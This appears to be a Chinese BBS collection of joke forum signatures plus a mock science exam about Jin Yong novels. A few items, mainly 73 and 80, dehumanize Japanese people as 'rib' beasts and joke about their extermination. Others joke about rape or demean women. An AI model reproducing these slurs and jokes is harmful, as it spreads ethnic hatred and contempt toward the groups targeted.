14.(歌曲《任逍遥》调)灌水不怕出身太单薄,有志气高哪灌也骄傲,就为一个灌字情难了,一生一世想灌灌不牢。灌水深深天都看不到,灌水情结世代心头上,有灌没水不能活到老,叫我怎能灌出你的好。让我悲也好,让我悔也好,恨监督你都不明了;让我苦也好,让我累也好,让我天天灌出她的笑;让我醉也好,让我睡也好,把灌水烦事都忘了;让我对也好,让我错也好,随风灌灌论坛任逍遥…… 

15.大学十化:①管理监*狱化;②素质流氓化;③kiss公开化;④消费白领化;⑤上课梦游化;⑥逃课普遍化;⑦女生恐龙化;⑧男生痴呆化;⑨恋爱闪电化;⑩补考专业化。 

17.(歌曲《我在马路边拣到一分钱》调)我在马路边捡到一颗雷,把它交给警察叔叔手里边,叔叔一拉弦,立刻飞上天,我高兴得说了声:叔叔,再见! 

18.本人成分:59%的帅,40%的酷,1%的微量羞涩; 
适用范围:17-20岁的PLMM; 
主治:心情不爽、缺少朋友、生活无聊; 
警告:长期服用会产生较严重的依赖性和对其他男性的排斥性! 

19.靠,都说一个人走夜路容易遇上坏人,我天天半夜出去逛,咋就一回没碰上强*奸我的呢?你要是有想法就加我QQ吧,我们联系一下,也算我这几年没白走夜路~~~ 
26.任盈盈教令狐冲弹琴,后来她爱上了令狐冲;岳灵珊教林平之武功,后来她爱上了林平之;小龙女教杨过武功,后来她爱上了杨过;老顽童教瑛姑武功,后来他爱上了瑛姑;但是,怎么没有一个教我课的女老师或是女助教爱上我呢?嘻嘻~~ 

27.我发誓我不再看美女了。但是在中大,这个誓言有跟没有都一样!:( 

28.极品女友,一米七九,顾盼美目,拈花玉手,口若含樱,臂若莲藕,父母为商,家财丰厚,玉叶金枝,无忧无愁,闲来水母,欲征一友,突遇丑男,令人作呕,唤来家丁,拖去喂狗!!! 

29.给我GG:我们要天天思念,但不要天天见面;你负责努力赚钱,我负责美丽妖艳;你可以和别人相恋,只要不让我发现;若是被我发现,耗子药煮面!!…… 

30.到了瑞士,才知道开个帐户没有十万会被人耻笑;到了希腊,才知道迷人的地方其实都是破庙;到了巴拿马,才知道一条河也代表了主权的重要;到了巴西,才知道衣服穿得很少也用不着害臊;到了阿根廷,才知道不懂足球会让人上吊;到了南非,才知道随时会被爱*滋吻到;到了撒哈拉,才知道节约用水的重要;走遍非洲,才知道吃人有时候也是一种需要;走过岁月,才知道同学原来很难忘掉…… 

31.三年前,我担心找不到工作,考了硕士;三年后的今天,我担心找不到工作,又考了博士。我不知道几年后我会不会为自己六年前的选择而感到后悔…… 

32.国事家事天下事关我鸟事,风声雨声读书声我不作声!!! 

33.我被急得满头大汗,索性闭上眼睛在黑板上瞎写昨天忘记背的化学反应方程式。写完后,我低下头,等待着“狂风暴雨”的到来……孰料,化学老头儿看后立即让大家为我热烈鼓掌,并上前一把紧握住我双手兴奋地说道:“今年诺贝尔化学奖就颁发给你了,你发现新元素啦!!!” 

34.床上放着很多书,欧洲史、数学、小说、哲学……和脏衣服、床单放在一起,就像我的每一个梦想,很久没动,也懒得整理,嗨…… 
37.狮子和熊分别在树旁大便。一个月后,狮子发现自己大便旁的树比熊的那棵长得粗壮,随后狮子说了句饱含沧桑的哲理——狮·屎·胜·于·熊·便·啊! 

38.士隐于网络兮,终日留言;避世之繁复兮,已待美女。 

39.Ping MM:Request timed out; 
Ping money:Destination unreachable; 
Ping Love:Unkown host name; 
Ping Future:Reply from hell: bytes=32 time=99year TTL=1。 

40.——真理从来就没有战胜过谬误。 
——只有当坚持谬误的人过世后,真理才成为真理!!! 

41.大连海事MM:打后面看,迷倒千军万马;打正面看,吓退百万雄狮! 

42.美女未抱身先走,常使色狼泪满襟…… 

43.——总有一天我会当上老总! 
  ——现招收老总女秘书,有意者请联系。 

44.每个女孩都是为爱折翼的天使,她们来到人间,就再也回不了天堂了,所以男人一定要好好珍惜。我是天使~真的!只是下凡的时候一不小心脸先着了地,回不了天堂是因为体重的原因。还好,我还有一颗天使的心,善良、仁爱…… 

45.不论我们在BBS上如何风华一时,最终我们还是要回到现实。结果我们失去的是青春的时光,新鲜的美丽,锋芒毕露的才气,聪慧伶俐的自信,陌生人的捧场,新相识的快乐。最终慰籍我们的总是“草草杯盘共一欢,昏昏灯火话平生”的——寻常故人,寻常人生。

51.我:我的第一个问题是,对於我第二个和第三个问题,你可不可以只用‘能’和‘不能’来回答? 
mm:可以啊! 
我:我的第二个问题是,如果我的第三个问题是你能不能做我的女朋友,那麽你对於我的第三个问题的答案能不能和第二个问题的答案一样呢? 
mm:·#¥%……—*() 

52.抬头走路,低头看天! 

53.我:玉树临风,气宇轩昂,剑眉星目,虎背熊腰,风华绝代,不羁倜傥,还有一身古铜的肤色,健壮的体魄强而有力的臂膀,外刚内柔的性格,野性中带温顺,忧郁中带放荡,简直就是男性的典范,女性的恩物啊~ 

54.人生没有彩排,每天都是现场直播! 

55.女人希望男人能沉稳、果断地处理好每一件事,这样的男人才能给人以安全感。女人并不需要男人指手划脚地告诉她去做什么,而是希望男人用自己的想法或技能去引导她们做某事,尤其是当遇到内、外部环境干扰她们判断力的时候,她们更需要有内涵深厚的男人来引导她们。 

56.修养的艺术,其实就是说谎的艺术。 

57.我这人最老实,从来没说过一句假话——这句除外。

59.兔子急了也口.交人……(汉字结构之最高境界,狂汗~~~) 

60.我是帅哥。如果你是美女,那就加我为好友。放心,我有的是钱!不过皮肤不白的不见,1.65以下的不见,短发的不见,染发的不见,胖的不见,瘦的不见,有男朋友的不见,抽烟的不见,小眼睛的不见,戴眼镜的不见,大鼻子的不见,大嘴巴的不见,脾气像个驴的不见,性格像个鸡的……唉,别走,见!!! 

61.高考化学题:A和B可以相互转化,B在沸水中生成C,C在空气中可以氧化成D,D有臭鸡蛋气味,请问ABCD各是什么? 
我的答案:A是鸡,B是生鸡蛋,C是熟鸡蛋,D当然是臭鸡蛋啦!(这帮出题的白痴!) 

62.我是宇宙超级霹雳无敌大笨猪,欢迎你打我、骂我、K我、扁我、踢我、踹我、揍我、剁我、糟蹋我、蹂躏我、作践我、甚至吃我的肉、喝我的血、扒我的皮、抽我的筋、啃我的骨、把我煮煎炒炸焖炖红烧清蒸干褊水煮……我都毫无怨言。但前提是这个人必须是天底下最最漂亮、可爱、美丽、温柔、善良、贤惠、有气质的大美女。 

63.我从来不吃鸭舌头,从鸭嘴里取出来的东西,多脏啊~~我就爱吃炒鸡蛋! 

64.——“老师,我实在忍不住了,我要小解!” 
——“操,现在的学生怎么如此不知廉耻,竟然在我的课堂上公开要起小姐!!!” 

65. 人生在世有几何,何必辛苦学几何。学了几何几何用?不学几何又几何!! 

66.灌水只不过是我表面的工作,我真正的身份是一位研究~僧。 

67. 1983年中国制造,长170cm,净重53kg。采用人工智能,各部分零件齐全,运转稳定,经二十多年的运行,属信得过产品。该产品手续齐全,无限期包退包换。现因发展需要,诚招志同道合者(仅限女性)共同研制开发第二代产品,有意者请联系! 

68.饭在锅里,我在床上~*^_^* 

69.你的小前半生我无法参与,你的大后半生我奉陪到底! 

70.人类是狗最好的伙伴。 

71. 我希望35岁的时候,我能天天坐在自己的写字楼里喝茶看报;下班时,秘书过来告诉我今天在全球又赚了几百亿美元;60岁的时候,我跟一个小国元首在海边下象棋,海里游过来一只鲨鱼,我对那个元首说“去,咬死它!”,然后元首就把鲨鱼咬死;80岁的时候,我老婆腼腆地来告诉我,她又怀孕了…… 

72.我曾经等过一个人,等到胡子都长了,还是没有等到。直到有一天,我发现自己有了一根白胡子,我照镜子,看见一个胖老头,于是我决定不等了。我结了婚,做了父亲,我来到网上,希望有一天能等到她,不为别的,只想告诉她,我曾经深深地爱过她,我曾经苦苦地等过她……而那些苦苦的等待,让我更珍惜今天的快乐与幸福…… 

73.dasny【”d∧sni】 v. 打死你 n.。著名id,注册于2000年,现任经管家园站务。Dasny【”d∧sni】 n. 人名,出生于1984年,祖籍福建,2006年北大金融学硕士,2010年沃顿金融学博士;2015*年创立Chance(陈氏)投资公司,旗下成立陈氏军事科技集团,一期光能炮试验失败,不幸击中rib岛导致rib民族灭绝,其后淡出军工;2030年成为世界三大投资公司之一,2035年与妻创立陈氏世界扶贫基金,用于救济欧美难民,2040年获得世界金融学会终身成就奖,2050年获诺贝尔和平奖后隐居火星。 

74.我希望有一天我能用鼠标双击我的钱包,然后选中一张100元,按住“ctrl-c”接着不停的“ctrl-v”。 

75.三年硕士五年博,身变皮骨腰变驼。昨日豪情遭磨难,今朝两鬓见斑驳。 
囊中通货常恨少,腹内草莽日渐多。墙上芦苇浅根底,山间竹笋空外壳。 

76.我的梦中情人是个白马王子,这我相信;总有一天,我会喷着火去找他……可是,我背上还坐了一个PPMM……(详见《高校BBS爆笑签名档之03无敌终结版》第八条) 

78.女生如此多娇,引无数男生竞弯腰;恨广外男生,左拥右抱;广商哥儿,美女相伴;广工学子,一群和尚,洒血含泪捕恐龙;俱往矣,数暴龙之多,还看广工! 

79.猴子拣到一个卡,于是爬到树枝上想看清楚是啥卡。不料一个雷击中了它,猴子哭着说:“原来是***‘IP’(挨劈)卡呀!!!” 

80.“什么,rib人也算人?!!!”我质问上帝道。上帝脸上露出一丝羞愧,支吾半天结结巴巴道:“算…算…算是吧…”我拍了拍他的肩膀:“这不是你的真心话。”上帝涨红了脸,转身欲逃走。看着他狼狈不堪,我于心不忍,可心又不甘,于是一把抓住他:“失手造出这批禽兽也就算了,但你也不能把它们紧挨着咱中国人放啊!”上帝哭丧着脸:“你们中国人自己死好面子,讲什么仁义,要是早点踏平过去不早没事啦!”我被上帝说得咽住了,无语中…… 

81.清华一女生晚上回宿舍,路遇一女鬼。鬼:学妹,你看我没手。女生吓得不吭声。鬼:学妹,我还没有脚,好惨啊!女生终于忍不住了,顿时嚎啕大哭道:学姐,我更惨,我没胸啊! 

82.目前,我们正处于灌水时代的初级阶段。经过一段时间的努力,虽然我们取得了结识众多水手的巨大成就,但由于版面人口众多,人均资源相对短缺,导致局部个人发展很不平衡。现阶段的主要矛盾是日益增长的灌水欲望与落后的灌水技术之间的矛盾。灌水思路的开阔已经不是初级阶段的主要矛盾,但是它在一定范围内还将长期存在,并且在一定条件下还可能激化。我们要允许一部分人先灌水,先灌带后灌,最终实现全都灌水!“潜水无罪,灌水光荣”的制度已经在中国大地上扎根并初步显示它的优越性,但其不成熟、不完善的环节,还必须通过深化思想改革来逐步解决。灌水是论坛发展的初级阶段,而我们又正处于灌水的初级阶段,就是不发达阶段,也是不可逾越的历史阶段,希望这个阶段不要同社会主义初级阶段一样100年不变!!!全体水民要统一思想,统一认识,把下一步的工作重心转移到论坛建设上,要把“开灌,快灌,会灌”作为我们落实“三代”思想的指导方针。下一个四年对我们来说是关键的四年,灌水奇才已越来越少,若我们不抓住年轻的尾巴,错过末班车,以后的美好论坛将无从谈起。当然,已经胜利的同志们是光辉的榜样!所以,全版同志必须要继续努力,争取早日取得成功~~~~ 

83.前清时期坐过堂,北洋军中扛过枪;武昌城里落过荒,北伐战争帮过忙; 
军阀混战称过王,南昌外围受过伤;万里长征翻过墙,敌后抗战偷过羊; 
决战平津扒过房,横渡长江喝过汤;鸭绿江边喂过狼,炮击金门擦过膛; 
自卫还击骂过娘,改革开放扫过黄。谁还敢和我比资历?!! 

84.一日,老师在课堂上教偶认字——帅。偶百思不得其解,正在这时,同桌mm递来一面镜子,偶照之,顿时恍然大悟…… 

85.本人年方20,人见人爱,花见花开,车见车爆胎!上知天文地理,下知鸡毛蒜皮,每外出行走,常引美女回头,帅哥跳楼! 

86. 一名优秀的幽坛成员网上生涯应该是这样度过的:当他回忆往事的时候,他不致因为在论坛上打情骂俏而悔恨,也不致因为过去的吹牛胡侃而羞愧。在临死的时候,他能够说:我的整个生命和全部精力,都已经献给了世界上最壮丽的事业——为幽坛拍砖、灌水、掐架、挫豁子扬沙子事业而感到无比骄傲和自豪! 

87.pig wood wolf horse bee!(这就是我国著名的山峰——珠穆朗玛峰) 

88.知道答辩和大便的相同之处吗?a.都需要纸;b.最痛苦的是答(大)不出来的时候;c.完了之后都很爽;d.导师(导屎)好就很容易。 

89.(歌曲《劳动最光荣》调)太阳光儿金亮亮,站务唱三唱,ZTS醒来了,助理忙梳妆。大水车挖坑忙,小水车把水装,幸福的生活从哪里来……那个灌水来创造! 

90.本人有车、有房、每月有固定收入,有意者请加QQ:8×××××××。 
附:房——大学六人寝室; 
车——自行车(绝对环保); 
固定收入——每月21元学校补助。 
91.天使之所以会飞,是因为她们把自己看得很轻~~~ 

92.丑,但是丑的特别,也就是特别的丑。 

93.她兴奋地问:“你是不是真正的青蛙王子? ”我害羞得点点头……猛然一阵热吻,我几乎窒息,喘过大气儿后我对她说:“我是青蛙国真正的王子,但不是会变成王子的青蛙。”她大叫一声,哭着就昏倒了。我都还没来得及问她是不是真正的公主呢,她才恶心呢,人类爱情真势利呀! 

94.在斑竹的带领下,我们要继续紧密地团结在斑竹的周围,高举“有言则发,无水也灌”理论的伟大旗帜,认真贯彻落实“人过言留”的要求,坚持“知无不言,言无不尽”的思想路线,弘扬“一不怕手酸,二不怕麻烦”的精神,把“灌水”做为我们振兴版面的第一要务!本着灌水要有新思路,吹牛要有新突破,抬杠要有新局面,从根本上改变“几天来一灌,想到才来灌”的懒散型方式。以提高灌水效益为中心,注重依靠大家技能的不断提高来加强管理,从而走上“每人每天灌,不灌也要灌”的路子!使我们的版面不断的承前启后、可持续的发展,最后,让我们为实现“上网经常化,灌水专业化,祝福多样化,说句心里话”的四化目标而努力奋斗! 

95.亲MM一下,得到一个嘴巴! 
偶不解:干嘛动手?你要是觉得吃亏,亲我一下不就行了?! 
然而又是一个嘴巴!疑惑中…… 

96.如果将英语的26个字母由A到Z分别编上1到26的分数, 
你的知识(KNOWLEDGE)只能得到11+14+15+23+12+5+4+7+5=96分 
你努力工作(HARDWORK)也只能得到8+1+18+4+23+15+18+11=98分 
只有你的态度(ATTITUDE)才是左右你生命全部的1+20+20+9+20+21+4+5=100分 

97.男孩,请不要轻易哭泣,只有面对你最爱的人时,才会变得脆弱; 
  男孩,请不要轻易哭泣,只有在太爱她的时候,才会放下自尊。 
  女孩,如果有个男孩为你哭泣,请拉住他的手,也许他真的可以陪你走完一生; 
  女孩,如果有个男孩为你哭泣,请不要放弃他,也许你的一个选择会毁掉一个人。 

98.老外:你们中国人都很勤劳啊。 
我:何以见得? 
老外:要不你们学校食堂的玻璃上每天都贴着“早点”~ 

99.别拿83年过期的“XO”糊弄我,给我来瓶今年的~ 

100.我追天鹅,天鹅不屑地说:“我要是长成你这样,早就去死了!”我不服气:“我丑?那猪怎么还活得好好呢?!”猪听了委屈地哭起来:“我只是看了你的签名就变成这样儿了,我TMD招谁惹谁了!!!”

2004年10月28日

一、选择题 

◎ 单选 

1.蓝凤凰及其诸位女 *** 通过水蛭将血输到令狐冲体内,你可以得到以下那种推测: 

a.令狐冲为ab型血,蓝凤凰及其 *** 为a、b、或ab型 

  b.令狐冲为b型血,蓝凤凰及其 *** 为ab、b或o型 

  c.令狐冲为o型血,蓝凤凰及其 *** 为a、b或o型 

  d.令狐冲为ab型血,蓝凤凰及其 *** 为ab或o型 

  e.以上推测都不对 

2.杨过得到,后来给了郭靖,炼成倚天剑、屠龙刀的玄铁可能是a.球磨铸铁 b.马口铁 c.高速合金钢 d.碳素纤维

3.下列武术中,利用仿生学理论创立的是 

  a.越女剑 b.降龙十八掌 c.易筋经 d.金蛇剑法 

4.桑土公用磁铁吸出了众人体内的牛毛细针,假设肌肉对细针的作用力为0.4牛顿,细针由纯铁制成,则他使用的磁体可能是 

  a.三氧化二铁 b.四氧化三铁 c.钕铁硼 d.巨磁阻氧化物 

5. 蓝凤凰的致使华山师徒、桃谷六仙呕吐不止的药酒属于 

  a.生物毒品 b.神经毒品 c.化学毒品 d.基因毒品 e.以上全不对 

6. 接上题,他们属于 

  a.中毒反应 b.过敏反应 c.妊娠反应 d.以上全不对 

7. 接上题,如果你是大夫,会给他们开什么药 

  a.阿司匹林 b.牛黄解毒片 c.氟酸 d.让他们喝大量的生牛奶 e.以上全不对 

   

◎ 多选 

1. 杨过、程英、陆无双铲除了情花,造成 

  a.使这种植物不再害人 b.使一种珍稀物种灭绝 c.破坏了那个生物圈的生态平衡 d.造成该地区沙漠化 

2. 张无忌是圆脸而不是他爸的方脸是因为 

  a.圆脸是显性基因,张无忌继承了来自母体的该种染色体 

  b.圆脸是隐性基因,张无忌之所以是圆脸,是因为其父也有一条该种染色体 

  c.虽然圆脸是显性基因,张无忌仍然有一定的几率不是圆脸,无论其母亲是什么样的染色体 

  d.张无忌也有可能成为尖脸、长脸等其它脸型 

  e.张无忌可能长大以后变为方脸。 3. 比较法*功,邪教神龙教有[ ]危害,这说明邪教都具有反社会、反科学的本质

  a.对胖、瘦头陀等信徒造成巨大的身心伤害 

  b.破坏了瘦头陀、假太后、建宁公主一家的美满幸福生活 

  c.与境内外反华势力(吴三桂、俄国)相勾结,成为反华工具 

  d.搞迷信,搞个人崇拜 

  e.围攻党政机关领导人韦小宝 

4. 海老公的’化尸粉’为什么能够用不完 

  a.因为它是尸体腐烂的催化剂,反应前后没有变化 

  b.因为它是尸体腐烂的生成物 

  c.因为它是尸体腐烂的诱导剂,会导致连锁反应

  d.与金属腐蚀的原理类似,’化尸粉’相当于在完整的金属表面添加了一个腐蚀缺口 

  e.以上情况都有可能 

   

二、判断题 

石中玉与石破天是同卵双胞胎 ( ) 

   

三、填空题 

1.悬崖高为_____m,则小龙女正好可以到达深滩低部。(设滩深为25m,小龙女横截面为0.007m*m,体重为50kg,取g=10m/s*s,不记空气阻力。) 

2.黄容的菜’玉笛谁家听落梅’由5种肉组成,如果只考虑肉味的一阶组合和二阶组合,则有25种味道,这也就是它名称的由来之一,如果考虑所以的组合情况,则它一共有___种味道。 

   

四、计算题 

1.段誉与乔峰在无锡城外比赛脚力的时候,段誉使用’凌波微步’与乔峰速度不相上下凌波微步’是曲线运动,试简单估算段誉的直线运动速度是乔峰的多少倍。 

提示:假设段誉沿正弦曲线运动 

2. 杨逍对张无忌说’明教源出波斯,……唐大历三年六月二十九日,长安洛阳建明教寺院’大云光明寺’’,到张无忌34任教主,假设教主平均40岁继任,试计算教主的平均寿命并推算方腊大概是第几任教主。 

说明:要通过书中的有关提示具体计算说这段话的时间,关于古代黄历与公元纪年的转换可参阅有关资料。 

   

五、作图题 

1. 独孤九剑的破箭术是专门对付各种暗器的,现在如果有72个暗器,以二维点阵的形式,2m*0.8m的截面,25m/s的速度向令狐冲打来,令狐冲以如何挥剑,才能以最快的速度打掉所有的暗器。画出令狐冲挥剑的路径。(假设剑挥舞时速率不变,正方形、正三角形、正六边形点阵任选其一讨论,忽略重力加速度) 

   

六、推理题 

1. 桃干仙忽道:’杨七郎啊杨七郎,你只要保佑咱们六弟不死,老子向你磕几个头也是不妨。我这里先磕头了。’说着跪下磕头…… 

  桃枝仙道:’倘若六弟死了呢 ?’ 

  桃干仙道:’我便把神像打得稀巴烂,再在烂泥上撒泡尿。’ 

  桃花仙道:’就算你把杨七郎的神像打得稀巴烂,又撒上一包尿,就算再拉上一堆屎,却又怎地?六弟死都死了,你磕了头,总之是吃了亏啦!’ 

  桃枝仙道:’言之有理,这头且不忙磕,咱们去问个清楚,到底六弟的伤治得好呢,还是治不好。治得好再来磕头,治不好便来拉尿。’ 

  桃根仙道:’倘若治得好,不磕头也治得好,这头便不用磕了。倘若治不好,不拉尿也治不好,这尿便不用拉了。’ 

分析他们在逻辑推理上有那些错误。 

   

七、简答题 

1. 遍体通绿的打狗棒可能含有那些离子,可能是什么矿物质。 

2. 从生理角度东方不败式的练功是否有一定的合理因素。 

3. 为什么说郭靖夫妇虽然生有一子二女,仍然符合计划生育的政策。 

   

八、论述题 

1. 利用热力学第二定律:能量不可能自发由低向高流动,论吸星 *** 是否符合科学原理。提示:把令狐冲(任我行)看作绝热的孤立系统。 

2. 以洋流理论分析,张无忌出生的岛屿的大概位置。可以根据上面有火山,应该在板块边缘,结合板块学说论证。 

3. 以韦小宝在签定尼布楚条约中的荒谬表现论述我国在处理中美撞机事件的正确性。